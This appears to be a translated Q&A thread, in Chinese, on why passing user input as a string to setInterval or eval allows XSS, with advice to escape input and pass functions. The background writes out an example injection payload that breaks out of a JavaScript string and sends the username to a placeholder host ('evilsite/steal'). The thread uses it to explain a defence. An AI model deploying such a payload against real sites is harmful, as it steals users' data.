首先了解一些背景:
为了防止跨站脚本攻击(XSS),需要添加适当的转义字符,以防止恶意数据破坏您放置它的任何位置并被评估为JavaScript。
例如,给定用户输入:xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '
如果您使用服务器端代码将其插入字符串文字中:
const userinput = '<?php echo $_GET("userinput"); ?>'
您将获得:
const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`
然后,
'
会打破JS中的字符串文字,窃取用户名,并将其发送到攻击者的网站。(可能被窃取的内容不仅限于用户名。)
转义是为了防止数据像这样打破字符串文字:
const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`
因此,攻击代码仅成为字符串的一部分,而不是作为原始代码进行评估。
将字符串传递给 setInterval(或 setTimeout,new Function,eval等)的问题在于它们是设计用于评估代码的函数。
攻击者不需要突破字符串文字就可以执行其代码。它已经发生了。
我的问题是关于理解为什么 setInterval 永远无法安全地从 XSS 中获得保护。
这不是您引用的警告所说的。它说不能安全地使用不可信数据作为输入。如果您在此处放置自己的代码,则完全安全。当您评估某个用户输入时,才会出现问题。
将字符串传递给 setInterval 是一个坏主意。很难调试,并且相对较慢。
传递一个函数。您甚至可以安全地使用用户输入(因为它不被评估为代码,只是一个包含字符串的变量)。
const userinput = "properly escaped user input";
setInterval(() => {
document.body.appendChild(
document.createTextNode(userinput)
);
}, 1000);
setInterval(userInput, 1000)
这段代码中的userInput = "alert('XSS')"
,意思是每隔 1000 毫秒就执行一次alert('XSS')
函数。 - VLAZsetInterval
与eval
没有任何区别... - decezesetInterval
,则选择在某些输入上使用eval
。如果该输入来自用户,则选择将用户想要的任何代码运行到您的应用程序中。用户输入永远不可信并始终被视为不安全。由于您还被选为始终将其视为可运行代码,因此无论逃避多少次都无法保护您-您已经使自己始终处于防御状态。您堵塞一个安全漏洞,攻击者可以利用另一个漏洞。您只是在反应,永远无法完全覆盖。 - VLAZsetInterval
或eval
的代码片段中的数据。但这很难做到,并且大多数情况下相当无用。 (当然,使用用户输入作为代码本身绝不是一个好主意)。 - Bergieval
中运行的用户输入不值得在eval
中运行,因为你很可能只暴露了非常有限的功能 - 足以准备用户可以选择而无需作为代码输入的函数。实际的“选择”可能采用字符串形式,该字符串被标记/解析以调用正确的功能,但仍然如此。 - VLAZ